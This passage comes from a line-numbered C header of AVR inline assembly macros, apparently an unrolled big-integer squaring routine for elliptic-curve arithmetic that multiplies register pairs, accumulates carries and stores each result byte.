13579 "adc r24, r1 \n\t" \
13580 "adc r22, r27 \n\t" \
13581 "mul r5, r9 \n\t" \
13582 "add r23, r0 \n\t" \
13583 "adc r24, r1 \n\t" \
13584 "adc r22, r27 \n\t" \
13585 "mul r6, r8 \n\t" \
13586 "add r23, r0 \n\t" \
13587 "adc r24, r1 \n\t" \
13588 "adc r22, r27 \n\t" \
13589 "lsl r23 \n\t" \
13590 "rol r24 \n\t" \
13591 "rol r22 \n\t" \
13592 "mul r7, r7 \n\t" \
13593 "add r23, r0 \n\t" \
13594 "adc r24, r1 \n\t" \
13595 "adc r22, r27 \n\t" \
13596 "add r23, r25 \n\t" \
13597 "adc r24, r26 \n\t" \
13598 "adc r22, r27 \n\t" \
13599 "st z+, r23 \n\t" \
13600 \
13601 "ldi r26, 0 \n\t" \
13602 "mul r2, r13 \n\t" \
13603 "mov r23, r0 \n\t" \
13604 "mov r25, r1 \n\t" \
13605 "mul r3, r12 \n\t" \
13606 "add r23, r0 \n\t" \
13607 "adc r25, r1 \n\t" \
13608 "adc r26, r27 \n\t" \
13609 "mul r4, r11 \n\t" \
13610 "add r23, r0 \n\t" \
13611 "adc r25, r1 \n\t" \
13612 "adc r26, r27 \n\t" \
13613 "mul r5, r10 \n\t" \
13614 "add r23, r0 \n\t" \
13615 "adc r25, r1 \n\t" \
13616 "adc r26, r27 \n\t" \
13617 "mul r6, r9 \n\t" \
13618 "add r23, r0 \n\t" \
13619 "adc r25, r1 \n\t" \
13620 "adc r26, r27 \n\t" \
13621 "mul r7, r8 \n\t" \
13622 "add r23, r0 \n\t" \
13623 "adc r25, r1 \n\t" \
13624 "adc r26, r27 \n\t" \
13625 "lsl r23 \n\t" \
13626 "rol r25 \n\t" \
13627 "rol r26 \n\t" \
13628 "add r23, r24 \n\t" \
13629 "adc r25, r22 \n\t" \
13630 "adc r26, r27 \n\t" \
13631 "st z+, r23 \n\t" \
13632 \
13633 "ldi r22, 0 \n\t" \
13634 "mul r2, r14 \n\t" \
13635 "mov r23, r0 \n\t" \
13636 "mov r24, r1 \n\t" \
13637 "mul r3, r13 \n\t" \
13638 "add r23, r0 \n\t" \
13639 "adc r24, r1 \n\t" \
13640 "adc r22, r27 \n\t" \
13641 "mul r4, r12 \n\t" \
13642 "add r23, r0 \n\t" \
13643 "adc r24, r1 \n\t" \
13644 "adc r22, r27 \n\t" \
13645 "mul r5, r11 \n\t" \
13646 "add r23, r0 \n\t" \
13647 "adc r24, r1 \n\t" \
13648 "adc r22, r27 \n\t" \
13649 "mul r6, r10 \n\t" \
13650 "add r23, r0 \n\t" \
13651 "adc r24, r1 \n\t" \
13652 "adc r22, r27 \n\t" \
13653 "mul r7, r9 \n\t" \
13654 "add r23, r0 \n\t" \
13655 "adc r24, r1 \n\t" \
13656 "adc r22, r27 \n\t" \
13657 "lsl r23 \n\t" \
13658 "rol r24 \n\t" \
13659 "rol r22 \n\t" \
13660 "mul r8, r8 \n\t" \
13661 "add r23, r0 \n\t" \
13662 "adc r24, r1 \n\t" \
13663 "adc r22, r27 \n\t" \
13664 "add r23, r25 \n\t" \
13665 "adc r24, r26 \n\t" \
13666 "adc r22, r27 \n\t" \
13667 "st z+, r23 \n\t" \
13668 \
13669 "ldi r26, 0 \n\t" \
13670 "mul r2, r15 \n\t" \
13671 "mov r23, r0 \n\t" \
13672 "mov r25, r1 \n\t" \
13673 "mul r3, r14 \n\t" \
13674 "add r23, r0 \n\t" \
13675 "adc r25, r1 \n\t" \
13676 "adc r26, r27 \n\t" \
13677 "mul r4, r13 \n\t" \
13678 "add r23, r0 \n\t" \
13679 "adc r25, r1 \n\t" \
13680 "adc r26, r27 \n\t" \
13681 "mul r5, r12 \n\t" \
13682 "add r23, r0 \n\t" \
13683 "adc r25, r1 \n\t" \
13684 "adc r26, r27 \n\t" \
13685 "mul r6, r11 \n\t" \
13686 "add r23, r0 \n\t" \
13687 "adc r25, r1 \n\t" \
13688 "adc r26, r27 \n\t" \
13689 "mul r7, r10 \n\t" \
13690 "add r23, r0 \n\t" \
13691 "adc r25, r1 \n\t" \
13692 "adc r26, r27 \n\t" \
13693 "mul r8, r9 \n\t" \
13694 "add r23, r0 \n\t" \
13695 "adc r25, r1 \n\t" \
13696 "adc r26, r27 \n\t" \
13697 "lsl r23 \n\t" \
13698 "rol r25 \n\t" \
13699 "rol r26 \n\t" \
13700 "add r23, r24 \n\t" \
13701 "adc r25, r22 \n\t" \
13702 "adc r26, r27 \n\t" \
13703 "st z+, r23 \n\t" \
13704 \
13705 "ldi r22, 0 \n\t" \
13706 "mul r2, r16 \n\t" \
13707 "mov r23, r0 \n\t" \
13708 "mov r24, r1 \n\t" \
13709 "mul r3, r15 \n\t" \
13710 "add r23, r0 \n\t" \
13711 "adc r24, r1 \n\t" \
13712 "adc r22, r27 \n\t" \
13713 "mul r4, r14 \n\t" \
13714 "add r23, r0 \n\t" \
13715 "adc r24, r1 \n\t" \
13716 "adc r22, r27 \n\t" \
13717 "mul r5, r13 \n\t" \
13718 "add r23, r0 \n\t" \
13719 "adc r24, r1 \n\t" \
13720 "adc r22, r27 \n\t" \
13721 "mul r6, r12 \n\t" \
13722 "add r23, r0 \n\t" \
13723 "adc r24, r1 \n\t" \
13724 "adc r22, r27 \n\t" \
13725 "mul r7, r11 \n\t" \
13726 "add r23, r0 \n\t" \
13727 "adc r24, r1 \n\t" \
13728 "adc r22, r27 \n\t" \
13729 "mul r8, r10 \n\t" \
13730 "add r23, r0 \n\t" \
13731 "adc r24, r1 \n\t" \
13732 "adc r22, r27 \n\t" \
13733 "lsl r23 \n\t" \
13734 "rol r24 \n\t" \
13735 "rol r22 \n\t" \
13736 "mul r9, r9 \n\t" \
13737 "add r23, r0 \n\t" \
13738 "adc r24, r1 \n\t" \
13739 "adc r22, r27 \n\t" \
13740 "add r23, r25 \n\t" \
13741 "adc r24, r26 \n\t" \
13742 "adc r22, r27 \n\t" \
13743 "st z+, r23 \n\t" \
13744 \
13745 "ldi r26, 0 \n\t" \
13746 "mul r2, r17 \n\t" \
13747 "mov r23, r0 \n\t" \
13748 "mov r25, r1 \n\t" \
13749 "mul r3, r16 \n\t" \
13750 "add r23, r0 \n\t" \
13751 "adc r25, r1 \n\t" \
13752 "adc r26, r27 \n\t" \
13753 "mul r4, r15 \n\t" \
13754 "add r23, r0 \n\t" \
13755 "adc r25, r1 \n\t" \
13756 "adc r26, r27 \n\t" \
13757 "mul r5, r14 \n\t" \
13758 "add r23, r0 \n\t" \
13759 "adc r25, r1 \n\t" \
13760 "adc r26, r27 \n\t" \
13761 "mul r6, r13 \n\t" \
13762 "add r23, r0 \n\t" \
13763 "adc r25, r1 \n\t" \
13764 "adc r26, r27 \n\t" \
13765 "mul r7, r12 \n\t" \
13766 "add r23, r0 \n\t" \
13767 "adc r25, r1 \n\t" \
13768 "adc r26, r27 \n\t" \
13769 "mul r8, r11 \n\t" \
13770 "add r23, r0 \n\t" \
13771 "adc r25, r1 \n\t" \
13772 "adc r26, r27 \n\t" \
13773 "mul r9, r10 \n\t" \
13774 "add r23, r0 \n\t" \
13775 "adc r25, r1 \n\t" \
13776 "adc r26, r27 \n\t" \
13777 "lsl r23 \n\t" \
13778 "rol r25 \n\t" \
13779 "rol r26 \n\t" \
13780 "add r23, r24 \n\t" \
13781 "adc r25, r22 \n\t" \
13782 "adc r26, r27 \n\t" \
13783 "st z+, r23 \n\t" \
13784 \
13785 "ldi r22, 0 \n\t" \
13786 "mul r2, r18 \n\t" \
13787 "mov r23, r0 \n\t" \
13788 "mov r24, r1 \n\t" \
13789 "mul r3, r17 \n\t" \
13790 "add r23, r0 \n\t" \
13791 "adc r24, r1 \n\t" \
13792 "adc r22, r27 \n\t" \
13793 "mul r4, r16 \n\t" \
13794 "add r23, r0 \n\t" \
13795 "adc r24, r1 \n\t" \
13796 "adc r22, r27 \n\t" \
13797 "mul r5, r15 \n\t" \
13798 "add r23, r0 \n\t" \
13799 "adc r24, r1 \n\t" \
13800 "adc r22, r27 \n\t" \
13801 "mul r6, r14 \n\t" \
13802 "add r23, r0 \n\t" \
13803 "adc r24, r1 \n\t" \
13804 "adc r22, r27 \n\t" \
13805 "mul r7, r13 \n\t" \
13806 "add r23, r0 \n\t" \
13807 "adc r24, r1 \n\t" \
13808 "adc r22, r27 \n\t" \
13809 "mul r8, r12 \n\t" \
13810 "add r23, r0 \n\t" \
13811 "adc r24, r1 \n\t" \
13812 "adc r22, r27 \n\t" \
13813 "mul r9, r11 \n\t" \
13814 "add r23, r0 \n\t" \
13815 "adc r24, r1 \n\t" \
13816 "adc r22, r27 \n\t" \
13817 "lsl r23 \n\t" \
13818 "rol r24 \n\t" \
13819 "rol r22 \n\t" \
13820 "mul r10, r10 \n\t" \
13821 "add r23, r0 \n\t" \
13822 "adc r24, r1 \n\t" \
13823 "adc r22, r27 \n\t" \
13824 "add r23, r25 \n\t" \
13825 "adc r24, r26 \n\t" \
13826 "adc r22, r27 \n\t" \
13827 "st z+, r23 \n\t" \
13828 \
13829 "ldi r26, 0 \n\t" \
13830 "mul r2, r19 \n\t" \
13831 "mov r23, r0 \n\t" \
13832 "mov r25, r1 \n\t" \
13833 "mul r3, r18 \n\t" \
13834 "add r23, r0 \n\t" \
13835 "adc r25, r1 \n\t" \
13836 "adc r26, r27 \n\t" \
13837 "mul r4, r17 \n\t" \
13838 "add r23, r0 \n\t" \
13839 "adc r25, r1 \n\t" \
13840 "adc r26, r27 \n\t" \
13841 "mul r5, r16 \n\t" \
13842 "add r23, r0 \n\t" \
13843 "adc r25, r1 \n\t" \
13844 "adc r26, r27 \n\t" \
13845 "mul r6, r15 \n\t" \
13846 "add r23, r0 \n\t" \
13847 "adc r25, r1 \n\t" \
13848 "adc r26, r27 \n\t" \
13849 "mul r7, r14 \n\t" \
13850 "add r23, r0 \n\t" \
13851 "adc r25, r1 \n\t" \
13852 "adc r26, r27 \n\t" \
13853 "mul r8, r13 \n\t" \
13854 "add r23, r0 \n\t" \
13855 "adc r25, r1 \n\t" \
13856 "adc r26, r27 \n\t" \
13857 "mul r9, r12 \n\t" \
13858 "add r23, r0 \n\t" \
13859 "adc r25, r1 \n\t" \
13860 "adc r26, r27 \n\t" \
13861 "mul r10, r11 \n\t" \
13862 "add r23, r0 \n\t" \
13863 "adc r25, r1 \n\t" \
13864 "adc r26, r27 \n\t" \
13865 "lsl r23 \n\t" \
13866 "rol r25 \n\t" \
13867 "rol r26 \n\t" \
13868 "add r23, r24 \n\t" \
13869 "adc r25, r22 \n\t" \
13870 "adc r26, r27 \n\t" \
13871 "st z+, r23 \n\t" \
13872 \
13873 "ldi r22, 0 \n\t" \
13874 "mul r2, r20 \n\t" \
13875 "mov r23, r0 \n\t" \
13876 "mov r24, r1 \n\t" \
13877 "mul r3, r19 \n\t" \
13878 "add r23, r0 \n\t" \
13879 "adc r24, r1 \n\t" \
13880 "adc r22, r27 \n\t" \
13881 "mul r4, r18 \n\t" \
13882 "add r23, r0 \n\t" \
13883 "adc r24, r1 \n\t" \
13884 "adc r22, r27 \n\t" \
13885 "mul r5, r17 \n\t" \
13886 "add r23, r0 \n\t" \
13887 "adc r24, r1 \n\t" \
13888 "adc r22, r27 \n\t" \
13889 "mul r6, r16 \n\t" \
13890 "add r23, r0 \n\t" \
13891 "adc r24, r1 \n\t" \
13892 "adc r22, r27 \n\t" \
13893 "mul r7, r15 \n\t" \
13894 "add r23, r0 \n\t" \
13895 "adc r24, r1 \n\t" \
13896 "adc r22, r27 \n\t" \
13897 "mul r8, r14 \n\t" \
13898 "add r23, r0 \n\t" \
13899 "adc r24, r1 \n\t" \
13900 "adc r22, r27 \n\t" \
13901 "mul r9, r13 \n\t" \
13902 "add r23, r0 \n\t" \
13903 "adc r24, r1 \n\t" \
13904 "adc r22, r27 \n\t" \
13905 "mul r10, r12 \n\t" \
13906 "add r23, r0 \n\t" \
13907 "adc r24, r1 \n\t" \
13908 "adc r22, r27 \n\t" \
13909 "lsl r23 \n\t" \
13910 "rol r24 \n\t" \
13911 "rol r22 \n\t" \
13912 "mul r11, r11 \n\t" \
13913 "add r23, r0 \n\t" \
13914 "adc r24, r1 \n\t" \
13915 "adc r22, r27 \n\t" \
13916 "add r23, r25 \n\t" \
13917 "adc r24, r26 \n\t" \
13918 "adc r22, r27 \n\t" \
13919 "st z+, r23 \n\t" \
13920 \
13921 "ldi r26, 0 \n\t" \
13922 "mul r2, r21 \n\t" \
13923 "mov r23, r0 \n\t" \
13924 "mov r25, r1 \n\t" \
13925 "mul r3, r20 \n\t" \
13926 "add r23, r0 \n\t" \
13927 "adc r25, r1 \n\t" \
13928 "adc r26, r27 \n\t" \
13929 "mul r4, r19 \n\t" \
13930 "add r23, r0 \n\t" \
13931 "adc r25, r1 \n\t" \
13932 "adc r26, r27 \n\t" \
13933 "mul r5, r18 \n\t" \
13934 "add r23, r0 \n\t" \
13935 "adc r25, r1 \n\t" \
13936 "adc r26, r27 \n\t" \
13937 "mul r6, r17 \n\t" \
13938 "add r23, r0 \n\t" \
13939 "adc r25, r1 \n\t" \
13940 "adc r26, r27 \n\t" \
13941 "mul r7, r16 \n\t" \
13942 "add r23, r0 \n\t" \
13943 "adc r25, r1 \n\t" \
13944 "adc r26, r27 \n\t" \
13945 "mul r8, r15 \n\t" \
13946 "add r23, r0 \n\t" \
13947 "adc r25, r1 \n\t" \
13948 "adc r26, r27 \n\t" \
13949 "mul r9, r14 \n\t" \
13950 "add r23, r0 \n\t" \
13951 "adc r25, r1 \n\t" \
13952 "adc r26, r27 \n\t" \
13953 "mul r10, r13 \n\t" \
13954 "add r23, r0 \n\t" \
13955 "adc r25, r1 \n\t" \
13956 "adc r26, r27 \n\t" \
13957 "mul r11, r12 \n\t" \
13958 "add r23, r0 \n\t" \
13959 "adc r25, r1 \n\t" \
13960 "adc r26, r27 \n\t" \
13961 "lsl r23 \n\t" \
13962 "rol r25 \n\t" \
13963 "rol r26 \n\t" \
13964 "add r23, r24 \n\t" \
13965 "adc r25, r22 \n\t" \
13966 "adc r26, r27 \n\t" \
13967 "st z+, r23 \n\t" \
13968 \
13969 "ldi r22, 0 \n\t" \
13970 "mul r3, r21 \n\t" \
13971 "mov r23, r0 \n\t" \
13972 "mov r24, r1 \n\t" \
13973 "mul r4, r20 \n\t" \
13974 "add r23, r0 \n\t" \
13975 "adc r24, r1 \n\t" \
13976 "adc r22, r27 \n\t" \
13977 "mul r5, r19 \n\t" \
13978 "add r23, r0 \n\t" \
13979 "adc r24, r1 \n\t" \
13980 "adc r22, r27 \n\t" \
13981 "mul r6, r18 \n\t" \
13982 "add r23, r0 \n\t" \
13983 "adc r24, r1 \n\t" \
13984 "adc r22, r27 \n\t" \
13985 "mul r7, r17 \n\t" \
13986 "add r23, r0 \n\t" \
13987 "adc r24, r1 \n\t" \
13988 "adc r22, r27 \n\t" \
13989 "mul r8, r16 \n\t" \
13990 "add r23, r0 \n\t" \
13991 "adc r24, r1 \n\t" \
13992 "adc r22, r27 \n\t" \
13993 "mul r9, r15 \n\t" \
13994 "add r23, r0 \n\t" \
13995 "adc r24, r1 \n\t" \
13996 "adc r22, r27 \n\t" \
13997 "mul r10, r14 \n\t" \
13998 "add r23, r0 \n\t" \
13999 "adc r24, r1 \n\t" \
14000 "adc r22, r27 \n\t" \
14001 "mul r11, r13 \n\t" \
14002 "add r23, r0 \n\t" \
14003 "adc r24, r1 \n\t" \
14004 "adc r22, r27 \n\t" \
14005 "lsl r23 \n\t" \
14006 "rol r24 \n\t" \
14007 "rol r22 \n\t" \
14008 "mul r12, r12 \n\t" \
14009 "add r23, r0 \n\t" \
14010 "adc r24, r1 \n\t" \
14011 "adc r22, r27 \n\t" \
14012 "add r23, r25 \n\t" \
14013 "adc r24, r26 \n\t" \
14014 "adc r22, r27 \n\t" \
14015 "st z+, r23 \n\t" \
14016 \
14017 "ldi r26, 0 \n\t" \
14018 "mul r4, r21 \n\t" \
14019 "mov r23, r0 \n\t" \
14020 "mov r25, r1 \n\t" \
14021 "mul r5, r20 \n\t" \
14022 "add r23, r0 \n\t" \
14023 "adc r25, r1 \n\t" \
14024 "adc r26, r27 \n\t" \
14025 "mul r6, r19 \n\t" \
14026 "add r23, r0 \n\t" \
14027 "adc r25, r1 \n\t" \
14028 "adc r26, r27 \n\t" \
14029 "mul r7, r18 \n\t" \
14030 "add r23, r0 \n\t" \
14031 "adc r25, r1 \n\t" \
14032 "adc r26, r27 \n\t" \
14033 "mul r8, r17 \n\t" \
14034 "add r23, r0 \n\t" \
14035 "adc r25, r1 \n\t" \
14036 "adc r26, r27 \n\t" \
14037 "mul r9, r16 \n\t" \
14038 "add r23, r0 \n\t" \
14039 "adc r25, r1 \n\t" \
14040 "adc r26, r27 \n\t" \
14041 "mul r10, r15 \n\t" \
14042 "add r23, r0 \n\t" \
14043 "adc r25, r1 \n\t" \
14044 "adc r26, r27 \n\t" \
14045 "mul r11, r14 \n\t" \
14046 "add r23, r0 \n\t" \
14047 "adc r25, r1 \n\t" \
14048 "adc r26, r27 \n\t" \
14049 "mul r12, r13 \n\t" \
14050 "add r23, r0 \n\t" \
14051 "adc r25, r1 \n\t" \
14052 "adc r26, r27 \n\t" \
14053 "lsl r23 \n\t" \
14054 "rol r25 \n\t" \
14055 "rol r26 \n\t" \
14056 "add r23, r24 \n\t" \
14057 "adc r25, r22 \n\t" \
14058 "adc r26, r27 \n\t" \
14059 "st z+, r23 \n\t" \
14060 \
14061 "ldi r22, 0 \n\t" \
14062 "mul r5, r21 \n\t" \
14063 "mov r23, r0 \n\t" \
14064 "mov r24, r1 \n\t" \
14065 "mul r6, r20 \n\t" \
14066 "add r23, r0 \n\t" \
14067 "adc r24, r1 \n\t" \
14068 "adc r22, r27 \n\t" \
14069 "mul r7, r19 \n\t" \
14070 "add r23, r0 \n\t" \
14071 "adc r24, r1 \n\t" \
14072 "adc r22, r27 \n\t" \
14073 "mul r8, r18 \n\t" \
14074 "add r23, r0 \n\t" \
14075 "adc r24, r1 \n\t" \
14076 "adc r22, r27 \n\t" \
14077 "mul r9, r17 \n\t" \
14078 "add r23, r0 \n\t" \
14079 "adc r24, r1 \n\t" \
14080 "adc r22, r27 \n\t" \
14081 "mul r10, r16 \n\t" \
14082 "add r23, r0 \n\t" \
14083 "adc r24, r1 \n\t" \
14084 "adc r22, r27 \n\t" \
14085 "mul r11, r15 \n\t" \
14086 "add r23, r0 \n\t" \
14087 "adc r24, r1 \n\t" \
14088 "adc r22, r27 \n\t" \
14089 "mul r12, r14 \n\t" \
14090 "add r23, r0 \n\t" \
14091 "adc r24, r1 \n\t" \
14092 "adc r22, r27 \n\t" \
14093 "lsl r23 \n\t" \
14094 "rol r24 \n\t" \
14095 "rol r22 \n\t" \
14096 "mul r13, r13 \n\t" \
14097 "add r23, r0 \n\t" \
14098 "adc r24, r1 \n\t" \
14099 "adc r22, r27 \n\t" \
14100 "add r23, r25 \n\t" \
14101 "adc r24, r26 \n\t" \
14102 "adc r22, r27 \n\t" \
14103 "st z+, r23 \n\t" \
14104 \
14105 "ldi r26, 0 \n\t" \
14106 "mul r6, r21 \n\t" \
14107 "mov r23, r0 \n\t" \
14108 "mov r25, r1 \n\t" \
14109 "mul r7, r20 \n\t" \
14110 "add r23, r0 \n\t" \
14111 "adc r25, r1 \n\t" \
14112 "adc r26, r27 \n\t" \
14113 "mul r8, r19 \n\t" \
14114 "add r23, r0 \n\t" \
14115 "adc r25, r1 \n\t" \
14116 "adc r26, r27 \n\t" \
14117 "mul r9, r18 \n\t" \
14118 "add r23, r0 \n\t" \
14119 "adc r25, r1 \n\t" \
14120 "adc r26, r27 \n\t" \
14121 "mul r10, r17 \n\t" \
14122 "add r23, r0 \n\t" \
14123 "adc r25, r1 \n\t" \
14124 "adc r26, r27 \n\t" \
14125 "mul r11, r16 \n\t" \
14126 "add r23, r0 \n\t" \
14127 "adc r25, r1 \n\t" \
14128 "adc r26, r27 \n\t" \
14129 "mul r12, r15 \n\t" \
14130 "add r23, r0 \n\t" \
14131 "adc r25, r1 \n\t" \
14132 "adc r26, r27 \n\t" \
14133 "mul r13, r14 \n\t" \
14134 "add r23, r0 \n\t" \
14135 "adc r25, r1 \n\t" \
14136 "adc r26, r27 \n\t" \
14137 "lsl r23 \n\t" \
14138 "rol r25 \n\t" \
14139 "rol r26 \n\t" \
14140 "add r23, r24 \n\t" \
14141 "adc r25, r22 \n\t" \
14142 "adc r26, r27 \n\t" \
14143 "st z+, r23 \n\t" \
14144 \
14145 "ldi r22, 0 \n\t" \
14146 "mul r7, r21 \n\t" \
14147 "mov r23, r0 \n\t" \
14148 "mov r24, r1 \n\t" \
14149 "mul r8, r20 \n\t" \
14150 "add r23, r0 \n\t" \
14151 "adc r24, r1 \n\t" \
14152 "adc r22, r27 \n\t" \
14153 "mul r9, r19 \n\t" \
14154 "add r23, r0 \n\t" \
14155 "adc r24, r1 \n\t" \
14156 "adc r22, r27 \n\t" \
14157 "mul r10, r18 \n\t" \
14158 "add r23, r0 \n\t" \
14159 "adc r24, r1 \n\t" \
14160 "adc r22, r27 \n\t" \
14161 "mul r11, r17 \n\t" \
14162 "add r23, r0 \n\t" \
14163 "adc r24, r1 \n\t" \
14164 "adc r22, r27 \n\t" \
14165 "mul r12, r16 \n\t" \
14166 "add r23, r0 \n\t" \
14167 "adc r24, r1 \n\t" \
14168 "adc r22, r27 \n\t" \
14169 "mul r13, r15 \n\t" \
14170 "add r23, r0 \n\t" \
14171 "adc r24, r1 \n\t" \
14172 "adc r22, r27 \n\t" \
14173 "lsl r23 \n\t" \
14174 "rol r24 \n\t" \
14175 "rol r22 \n\t" \
14176 "mul r14, r14 \n\t" \
14177 "add r23, r0 \n\t" \
14178 "adc r24, r1 \n\t" \
14179 "adc r22, r27 \n\t" \
14180 "add r23, r25 \n\t" \
14181 "adc r24, r26 \n\t" \
14182 "adc r22, r27 \n\t" \
14183 "st z+, r23 \n\t" \
14184 \
14185 "ldi r26, 0 \n\t" \
14186 "mul r8, r21 \n\t" \
14187 "mov r23, r0 \n\t" \
14188 "mov r25, r1 \n\t" \
14189 "mul r9, r20 \n\t" \
14190 "add r23, r0 \n\t" \
14191 "adc r25, r1 \n\t" \
14192 "adc r26, r27 \n\t" \
14193 "mul r10, r19 \n\t" \
14194 "add r23, r0 \n\t" \
14195 "adc r25, r1 \n\t" \
14196 "adc r26, r27 \n\t" \
14197 "mul r11, r18 \n\t" \
14198 "add r23, r0 \n\t" \
14199 "adc r25, r1 \n\t" \
14200 "adc r26, r27 \n\t" \
14201 "mul r12, r17 \n\t" \
14202 "add r23, r0 \n\t" \
14203 "adc r25, r1 \n\t" \
14204 "adc r26, r27 \n\t" \
14205 "mul r13, r16 \n\t" \
14206 "add r23, r0 \n\t" \
14207 "adc r25, r1 \n\t" \
14208 "adc r26, r27 \n\t" \
14209 "mul r14, r15 \n\t" \
14210 "add r23, r0 \n\t" \
14211 "adc r25, r1 \n\t" \
14212 "adc r26, r27 \n\t" \
14213 "lsl r23 \n\t" \
14214 "rol r25 \n\t" \
14215 "rol r26 \n\t" \
14216 "add r23, r24 \n\t" \
14217 "adc r25, r22 \n\t" \
14218 "adc r26, r27 \n\t" \
14219 "st z+, r23 \n\t" \
14220 \
14221 "ldi r22, 0 \n\t" \
14222 "mul r9, r21 \n\t" \
14223 "mov r23, r0 \n\t" \
14224 "mov r24, r1 \n\t" \
14225 "mul r10, r20 \n\t" \
14226 "add r23, r0 \n\t" \
14227 "adc r24, r1 \n\t" \
14228 "adc r22, r27 \n\t" \
14229 "mul r11, r19 \n\t" \
14230 "add r23, r0 \n\t" \
14231 "adc r24, r1 \n\t" \
14232 "adc r22, r27 \n\t" \
14233 "mul r12, r18 \n\t" \
14234 "add r23, r0 \n\t" \
14235 "adc r24, r1 \n\t" \
14236 "adc r22, r27 \n\t" \
14237 "mul r13, r17 \n\t" \
14238 "add r23, r0 \n\t" \
14239 "adc r24, r1 \n\t" \
14240 "adc r22, r27 \n\t" \
14241 "mul r14, r16 \n\t" \
14242 "add r23, r0 \n\t" \
14243 "adc r24, r1 \n\t" \
14244 "adc r22, r27 \n\t" \
14245 "lsl r23 \n\t" \
14246 "rol r24 \n\t" \
14247 "rol r22 \n\t" \
14248 "mul r15, r15 \n\t" \
14249 "add r23, r0 \n\t" \
14250 "adc r24, r1 \n\t" \
14251 "adc r22, r27 \n\t" \
14252 "add r23, r25 \n\t" \
14253 "adc r24, r26 \n\t" \
14254 "adc r22, r27 \n\t" \
14255 "st z+, r23 \n\t" \
14256 \
14257 "ldi r26, 0 \n\t" \
14258 "mul r10, r21 \n\t" \
14259 "mov r23, r0 \n\t" \
14260 "mov r25, r1 \n\t" \
14261 "mul r11, r20 \n\t" \
14262 "add r23, r0 \n\t" \
14263 "adc r25, r1 \n\t" \
14264 "adc r26, r27 \n\t" \
14265 "mul r12, r19 \n\t" \
14266 "add r23, r0 \n\t" \
14267 "adc r25, r1 \n\t" \
14268 "adc r26, r27 \n\t" \
14269 "mul r13, r18 \n\t" \
14270 "add r23, r0 \n\t" \
14271 "adc r25, r1 \n\t" \
14272 "adc r26, r27 \n\t" \
14273 "mul r14, r17 \n\t" \
14274 "add r23, r0 \n\t" \
14275 "adc r25, r1 \n\t" \
14276 "adc r26, r27 \n\t" \
14277 "mul r15, r16 \n\t" \
14278 "add r23, r0 \n\t" \
14279 "adc r25, r1 \n\t" \
14280 "adc r26, r27 \n\t" \
14281 "lsl r23 \n\t" \
14282 "rol r25 \n\t" \
14283 "rol r26 \n\t" \
14284 "add r23, r24 \n\t" \
14285 "adc r25, r22 \n\t" \
14286 "adc r26, r27 \n\t" \
14287 "st z+, r23 \n\t" \
14288 \
14289 "ldi r22, 0 \n\t" \
14290 "mul r11, r21 \n\t" \
14291 "mov r23, r0 \n\t" \
14292 "mov r24, r1 \n\t" \
14293 "mul r12, r20 \n\t" \
14294 "add r23, r0 \n\t" \
14295 "adc r24, r1 \n\t" \
14296 "adc r22, r27 \n\t" \
14297 "mul r13, r19 \n\t" \
14298 "add r23, r0 \n\t" \
14299 "adc r24, r1 \n\t" \
14300 "adc r22, r27 \n\t" \
14301 "mul r14, r18 \n\t" \
14302 "add r23, r0 \n\t" \
14303 "adc r24, r1 \n\t" \
14304 "adc r22, r27 \n\t" \
14305 "mul r15, r17 \n\t" \
14306 "add r23, r0 \n\t" \
14307 "adc r24, r1 \n\t" \
14308 "adc r22, r27 \n\t" \
14309 "lsl r23 \n\t" \
14310 "rol r24 \n\t" \
14311 "rol r22 \n\t" \
14312 "mul r16, r16 \n\t" \
14313 "add r23, r0 \n\t" \
14314 "adc r24, r1 \n\t" \
14315 "adc r22, r27 \n\t" \
14316 "add r23, r25 \n\t" \
14317 "adc r24, r26 \n\t" \
14318 "adc r22, r27 \n\t" \
14319 "st z+, r23 \n\t" \
14320 \
14321 "ldi r26, 0 \n\t" \
14322 "mul r12, r21 \n\t" \
14323 "mov r23, r0 \n\t" \
14324 "mov r25, r1 \n\t" \
14325 "mul r13, r20 \n\t" \
14326 "add r23, r0 \n\t" \
14327 "adc r25, r1 \n\t" \
14328 "adc r26, r27 \n\t" \
14329 "mul r14, r19 \n\t" \
14330 "add r23, r0 \n\t" \
14331 "adc r25, r1 \n\t" \
14332 "adc r26, r27 \n\t" \
14333 "mul r15, r18 \n\t" \
14334 "add r23, r0 \n\t" \
14335 "adc r25, r1 \n\t" \
14336 "adc r26, r27 \n\t" \
14337 "mul r16, r17 \n\t" \
14338 "add r23, r0 \n\t" \
14339 "adc r25, r1 \n\t" \
14340 "adc r26, r27 \n\t" \
14341 "lsl r23 \n\t" \
14342 "rol r25 \n\t" \
14343 "rol r26 \n\t" \
14344 "add r23, r24 \n\t" \
14345 "adc r25, r22 \n\t" \
14346 "adc r26, r27 \n\t" \
14347 "st z+, r23 \n\t" \
14348 \
14349 "ldi r22, 0 \n\t" \
14350 "mul r13, r21 \n\t" \
14351 "mov r23, r0 \n\t" \
14352 "mov r24, r1 \n\t" \
14353 "mul r14, r20 \n\t" \
14354 "add r23, r0 \n\t" \
14355 "adc r24, r1 \n\t" \
14356 "adc r22, r27 \n\t" \
14357 "mul r15, r19 \n\t" \
14358 "add r23, r0 \n\t" \
14359 "adc r24, r1 \n\t" \
14360 "adc r22, r27 \n\t" \
14361 "mul r16, r18 \n\t" \
14362 "add r23, r0 \n\t" \
14363 "adc r24, r1 \n\t" \
14364 "adc r22, r27 \n\t" \
14365 "lsl r23 \n\t" \
14366 "rol r24 \n\t" \
14367 "rol r22 \n\t" \
14368 "mul r17, r17 \n\t" \
14369 "add r23, r0 \n\t" \
14370 "adc r24, r1 \n\t" \
14371 "adc r22, r27 \n\t" \
14372 "add r23, r25 \n\t" \
14373 "adc r24, r26 \n\t" \
14374 "adc r22, r27 \n\t" \
14375 "st z+, r23 \n\t" \
14376 \
14377 "ldi r26, 0 \n\t" \
14378 "mul r14, r21 \n\t" \
14379 "mov r23, r0 \n\t" \
14380 "mov r25, r1 \n\t" \
14381 "mul r15, r20 \n\t" \
14382 "add r23, r0 \n\t" \
14383 "adc r25, r1 \n\t" \
14384 "adc r26, r27 \n\t" \
14385 "mul r16, r19 \n\t" \
14386 "add r23, r0 \n\t" \
14387 "adc r25, r1 \n\t" \
14388 "adc r26, r27 \n\t" \
14389 "mul r17, r18 \n\t" \
14390 "add r23, r0 \n\t" \
14391 "adc r25, r1 \n\t" \
14392 "adc r26, r27 \n\t" \
14393 "lsl r23 \n\t" \
14394 "rol r25 \n\t" \
14395 "rol r26 \n\t" \
14396 "add r23, r24 \n\t" \
14397 "adc r25, r22 \n\t" \
14398 "adc r26, r27 \n\t" \
14399 "st z+, r23 \n\t" \
14400 \
14401 "ldi r22, 0 \n\t" \
